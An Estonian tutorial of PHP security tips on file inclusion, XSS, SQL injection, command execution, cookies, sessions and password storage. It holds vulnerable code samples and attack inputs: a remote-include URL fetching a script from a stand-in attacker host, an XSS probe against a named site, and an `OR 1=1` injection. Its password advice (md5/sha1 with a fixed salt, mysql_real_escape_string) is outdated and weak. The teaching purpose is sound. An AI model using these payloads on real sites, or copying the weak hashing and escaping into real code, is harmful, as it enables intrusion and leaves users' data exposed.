Tihtipeale kirjutatakse programmi kiirustades: tähtajad lähenevad, tööpäev saab läbi või lihtsalt ei vaevuta muule, kui koodi funktsionaalsusele tähelepanu pöörama. Ning ununevad kaks asja: esimene on koodi optimiseerimine. Selle saab kompenseerida kiirema serveriga. Teine asi on programmi turvalisus - turvaauke ei kompenseeri millegagi, olgu server nii võimas kui tahes. Järgnevalt ongi toodud mõned näpunäited apsakate vältimiseks.
Kuna PHP töötab enamasti veebiserveris siisb saab lehtedele ligi lihtsalt brauseriga ning lohakalt kirjutatud skript võib põhjustada olulist kahju kogu serveris asuvatele failidele. Turvaauk skriptis võib kurjamile anda võimaluse andmete näppamiseks või failide ja andmebaaside muutmiseks või kustutamiseks. Nüüd siis mõnest olulisemast altminekukohast.
Failide sisselugemisel nii include/require, kui ka kirjutamisel nt file_put_contents()'ga tuleb jälgida, et kasutaja ei saaks muuta faili nime. Näiteks järgnev juhtum:
Olgu aadressiks http://algaja.ee/index.php?inc=fail.txt ja skriptis:
include $inc;
praegusel juhul võib iga külastaja muuta brauseris aadressiks index.php?inc=index.php, mis tekitab „lõputu tsükli“ ning tekitab serverile paraja koormuse iseenda-nimelise faili sisselugemisena… nutikam kasutaja võib aga teha skripti, mis väljastab kataloogis asuvad failid, selle enda kodulehele üles panna ning külastada aadressi http://algaja.ee/?inc=http://kurjam.ee/my.php.txt ja naebk serveris parasjagu olevate failide nimesid.
XSS kujutab endast olukorda, kus kasutaja sisestatud andmetesse lastakse lisada JavaScript, VBScript, ActiveX, HTML, voi Flash koodi, mis kaivitub kliendipoolel monel muul kasutajal, nt:
http://blog.gospelskillz.com/search.aspx?q=%3E%22%3E%3Cscript%3Ealert(%22This%20site%20is%20XSS%20vuln%22)%3C/script%3E
Sellised kasutaja poolt muudetavad muutujad tuleks üle käia htmlentities(), htmlspecialchars() või strip_tags() funktsioonidega, nii et phps oleks html kood keelatud.
SQL injection'iks nimetatakse kasutaja sisestatud andmete filtreerimata kasitlemist. Naiteks paring andmebaasi:
$q=mysql_query("SELECT * FROM kasutajad WHERE nimi='".$_GET['nimi']."'");
Sellist paringut saab praegu petta lisades aadressile nt
' OR 1=1--
, mis teeb loplikuks paringuks
SELECT * FROM kasutajad WHERE nimi='' OR 1=1
nii voib sisestada suvalisi funktsioone voi oletatavaid valjanimesid… lahenduseks on enne paringus kasutamist muutujad ohutuks teha, kasutades olenevalt andmebaasist nt mysql_real_escape_string($_POST['nimi']) voi sqlite_escape_string($_POST['nimi']) funktsioone.
Ka exec()/system() funktsioonidega serveris programmide kaivitamine nouab tahelepanu, et kasutaja ei saaks muuta kaivitatava programmi nime voi selle parameetreid.
Kuna kupsised salvestatakse kasutaja brauserisse siis sinna ei tohiks salvestada suurt tahtsamaid andmeid, kuna vahegi oskajamad voivad neid vahese vaevaga lugeda ja muuta. Parem kasutada sessioone, kuna nende sisu hoitakse serveris.
Sessioonidesse ei tasuks lisada tundlikku infot nagu nt kasutaja parool, piisab vast logged_in muutujast, mille vaartuseks kasutaja id vastavast tabelist.
Kasutajanimed salvesta andmebaasi või äärmisel juhul var_export() väljundina php-laiendiga faili. Paroole ära salvesta lahtise tekstina vaid enne talletamist arvuta nende md5() või sha1() kontrollsumma (hash). Nii ei saa andmete lekkimise korral palja pealevaatamisega kasutajate paroole teada, küll aga saab sisselogimisel sisestatud parooli kontrollida kas sisestatud parooli kontrollsumma klapib andmebaasis olevaga. Tegelikult veel kindlam oleks, kui lisaks paroolile, lisada php-koodis mingi suvaline tekst, mis teeb paroolimurdmist veelgi raskemaks. Nt nii:
$salajaneparool = md5('salatekstijuppsiia'.$_POST['andmed_kasutajalt']); // nüüd võib selle muutuja andmebaasi sisse salvestada, kontrollimisel // tuleks sama salatekst lisada md5 summa arvutamisele
Valesti parooli sisestamise blokki võiks lisada
sleep(5)
või kuhugi mujale lehele suunamise - see raskendab oluliselt brute force parooli-mõistatamist.
Vaata ka: